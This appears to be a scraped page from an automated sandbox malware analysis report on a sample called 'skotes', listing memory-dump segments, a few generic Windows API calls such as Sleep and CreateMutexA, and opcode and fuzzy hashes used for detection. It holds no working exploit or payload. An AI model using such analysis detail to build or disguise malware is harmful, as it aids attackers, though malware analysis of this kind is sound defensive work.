Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fd8ce5b858d6478427348e0083ae9e62ceced56b6fc7f8d0e6c7501eb85640a9
Instruction ID: 0a529c5cb1a1183afe7ca308540c2307119a003ceb2038c89134af016d36acf1
Opcode Fuzzy Hash: fd8ce5b858d6478427348e0083ae9e62ceced56b6fc7f8d0e6c7501eb85640a9
Instruction Fuzzy Hash: B5214C317042009BFB18AB69EDC5BACF762EBC1320F20831DE514DB2D5D7BA5940EB11

Function 00FBA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d09ac8767aca2fc2cce711087abb22d3529200ae365446e9b73a3a857834938e
Instruction ID: dd0eab1e227c8d63c4fc1a9abd69a570d31860ffc8ef5fa1a32497e3cc3fd0cc
Opcode Fuzzy Hash: d09ac8767aca2fc2cce711087abb22d3529200ae365446e9b73a3a857834938e
Instruction Fuzzy Hash: 96216D31A442018BF724776BDC967EDB252AF81320F20491AE148DA6C1D67E8841BA53

Function 00FBA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2bfc15ceffb1635c1be2f598e89bff48b4ae243ae93ee9ed64c68a05df4765c3
Instruction ID: 84d90c208c4f596ed21a65074fc6e968f532a4c7f0e6292c56ff0baa8af110fd
Opcode Fuzzy Hash: 2bfc15ceffb1635c1be2f598e89bff48b4ae243ae93ee9ed64c68a05df4765c3
Instruction Fuzzy Hash: 782149317042009BFB18AB69DD85BACB7A2EBD1320F24821DE414DB6D5D77A9580AB52

Function 00FED82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00FEA813,00000001,00000364,00000006,000000FF,?,00FEEE3F,?,00000004,00000000,?,?), ref: 00FED871

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 771138875c8e7b0e15febce581a0d5511deeb509fa8e5e2a033625b56f856e59
Instruction ID: d978f92b8234ef9c03a9318bdd5ac76340c853019943364314cb0e94d56f325a
Opcode Fuzzy Hash: 771138875c8e7b0e15febce581a0d5511deeb509fa8e5e2a033625b56f856e59
Instruction Fuzzy Hash: EAF0E932A452A466EB313A739C01B5B3759DF45370B188021EC08D7981DA25EE01B2E0

Non-executed Functions

Function 00FB2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00FB2F5F
__Mtx_unlock.LIBCPMT ref: 00FB2FCC
__Cnd_broadcast.LIBCPMT ref: 00FB2FE3
__Mtx_unlock.LIBCPMT ref: 00FB30F5
__Mtx_unlock.LIBCPMT ref: 00FB319B

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: c64b582584f1ba6f1b77191c70a155b5838d7e0e67f371d6fce0612362c8bbe2
Instruction ID: f5ee0a315b13735ce78b5442ae3d57aee6f27532b6768a99d802f446fa2a376d
Opcode Fuzzy Hash: c64b582584f1ba6f1b77191c70a155b5838d7e0e67f371d6fce0612362c8bbe2
Instruction Fuzzy Hash: 2BA1F371E41206AFDB10EF65CE45BAAB7A8FF14364F04812DE819D7241EB35EA04EBD1

Function 00FECBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FECC66

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
